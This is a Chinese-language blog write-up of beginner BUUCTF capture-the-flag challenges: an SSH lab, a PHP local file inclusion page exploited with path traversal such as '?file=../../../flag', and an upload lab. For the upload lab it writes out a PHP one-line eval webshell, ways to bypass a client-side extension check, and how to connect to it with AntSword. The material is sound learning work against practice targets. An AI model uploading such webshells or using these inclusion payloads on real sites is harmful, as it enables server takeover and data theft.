前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >BUUCTF 刷题笔记——Basic 1

BUUCTF 刷题笔记——Basic 1

作者头像
h-t-m
发布2023-03-15 15:08:04
1.8K0
发布2023-03-15 15:08:04
举报
文章被收录于专栏:h-t-m

BUUCTF 刷题笔记——Basic 1

Linux Labs

启动靶机

  • 打开链接,只有如图的清爽页面

过于清爽初来乍到的小白显然不知从何入手……并且页面中的按钮也不过是摆设。

ssh 连接

其实题目本身已经说明,要进行 ssh 远程连接。

虽然题目名显示需要 Linux ,但只是 ssh 的话,显然在 Windows 的命令行直接操作即可。

在 CMD 中输入以下命令发起连接:

代码语言:javascript
复制
ssh -p [端口号] [用户名]@[地址]

第一次连接会有如下提示,键入 yes 后回车,再输入密码即可连接成功。

文件查找

  • 既然已经连接上了,那就可以看看有哪些文件了,先输入 ls 查看当前文件夹的内容。

  • 很遗憾,是个空文件夹。那么继续查找,当前目录为 ~ ,所以这里访问上一层目录即访问根目录。输入命令 cd ..ls 查看内容。

  • 注意到关键词 flag ,大概率访问这个文件即可。输入命令 cat flag.txt 打开文件。

  • 到手!

BUU LFI COURSE 1

启动靶机

打开页面为一段代码

代码语言:javascript
复制
<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/7/9
 * Time: 7:07 AM
 */

highlight_file(__FILE__);

if(isset($_GET['file'])) {
    $str = $_GET['file'];

    include $_GET['file'];
}

代码审计

  • 熟悉的 PHP 代码,不难看出只要将变量名为 file 的文件路径包含进去就能打开可能是我们需要的文件。那么我们需要的文件叫什么呢?有没有一种可能,他叫 flag ,假设假设成立,接下来验证一下。在 url 后加上 /?file=flag 回车。

  • 很遗憾,这里并没有这个文件,根据提示可以看出共有三级目录,那么我们可以逐一查看一下其他文件夹,可以使用 ../ 查找上一级目录,或直接使用 / 查找根目录。在 url 后加上 /?file=/flag 回车。

  • 因此不难发现,答案就在根目录的名为 flag 的文件中。所以不仅可以使用 /?file=/flag ,也可以使用 /?file=../../../flag 。那显然还是直接访问根目录比较优雅。

Upload-Labs-Linux

启动靶机

  • 打开网页,终于不再像前面两个题一样草率,页面还是挺好看的,虽然这并不重要。

  • 对着这个网页一通研究,好吧,是个硬茬。

研究页面

  • 既然有上传图片的功能,那就上传一张看看。

  • 一切正常,根据图片 url 可以看出文件被上传至网页目录的 upload 目录下。

  • 再上传一个其他文件看看,被阻止了,说是只支持 jpg/png/gif 三种文件,老实说不支持 webp 我不是很认可。

  • 也就是说,我们只能上传这三种文件,想通过上传我们的木马武装夺旗,就只能想办法突破这种限制。作为小白,理所应当地查看提示:

  • 使用 js 检查可还行,意味着检查在前端完成,而前端完全可以由我们自行操作!

突破限制

这里可以先创建好一个文件,先编写好所谓的“一句话木马”。

一句话木马 将仅含一行代码的程序文件上传至目标网站,如 PHP 代码: <?php @eval($_POST["h-t-m"]);?>

  • @ 表示其后代码即使出错也将不会报错。
  • eval() 函数表示将参数当作代码来执行。
  • $_POST[] 表示以 post 方式获取变量。

也就是说,我们将文件上传之后,即可用对应方法向网站提交代码并执行,这里使用 post 方法。虽然我们直接定义了自己的变量名 h-t-m ,但是 @ 可以保证不会报错。于是我们完全可以通过这个文件直接连接至服务器。

由于只是 js 检查,为表示对检查的尊重,我们大可以嚣张一点,将文件名命名为 木马.php

突破前端检查,可以直接修改对应的 js 代码,也可以直接在浏览器禁用 JavaScript ,或者直接删除 HTML 中对检查代码的调用。

以下三种方法任选其一即可

修改 js 代码需要在控制台重构函数,直接原地修改无效。查看语句找到该检查函数如下:

代码语言:javascript
复制
function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
}

可以看出,文件类型的限定语句为 var allow_ext = ".jpg|.png|.gif"; 那么只要将我们要上传的文件的后缀名加入,并在控制台中执行即可:

禁用 JavaScript :右键——检查——设置——禁用即可

删除 HTML 中代码即删除如图语句即可

解除限制之后,便可以将文件上传了

刚开始对页面研究时我们得知,文件是直接上传至网页所在目录的 upload 目录下的,因此可以得知我们上传的文件的 url 为 http://靶机地址/upload/木马.php ,当然也可以在上传页直接查看文件地址。

入侵

  • 上传好木马后,就该使用工具进入整个后台服务器了。中国蚁剑既可以完成这个任务,配置安装入门可参考官方 中文文档 。打开软件添加连接:

  • 注意到,这里需要输入密码,那么密码是什么呢?在前面输入的一句话代码中, <?php @eval($_POST["h-t-m"]);?> ,我们将通过 post 方法将内容传输至 h-t-m 变量中而实现入侵,而这个变量就是进入服务器所需要的连接密码。因此,输入变量名即可。

  • 添加成功后双击连接即可进入木马文件所在目录,右边同样可以看到目录列表,因此现在我们已经拥有了网站所有的文件了,并且可以进行任意增删改查!

寻找 flag

  • 既然已经获得所有权了,那就可以慢慢找了。不过,目前的经验表明,flag 一般会放在根目录,因此首先查看根目录,果不其然:

  • 都到这一步了,就双击打开吧!

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-04-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • BUUCTF 刷题笔记——Basic 1
    • Linux Labs
      • 启动靶机
      • ssh 连接
      • 文件查找
    • BUU LFI COURSE 1
      • 启动靶机
      • 代码审计
    • Upload-Labs-Linux
      • 启动靶机
      • 研究页面
      • 突破限制
      • 入侵
      • 寻找 flag
相关产品与服务
代码审计
代码审计(Code Audit,CA)提供通过自动化分析工具和人工审查的组合审计方式,对程序源代码逐条进行检查、分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏洞,提供代码修订措施和建议。支持脚本类语言源码以及有内存控制类源码。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档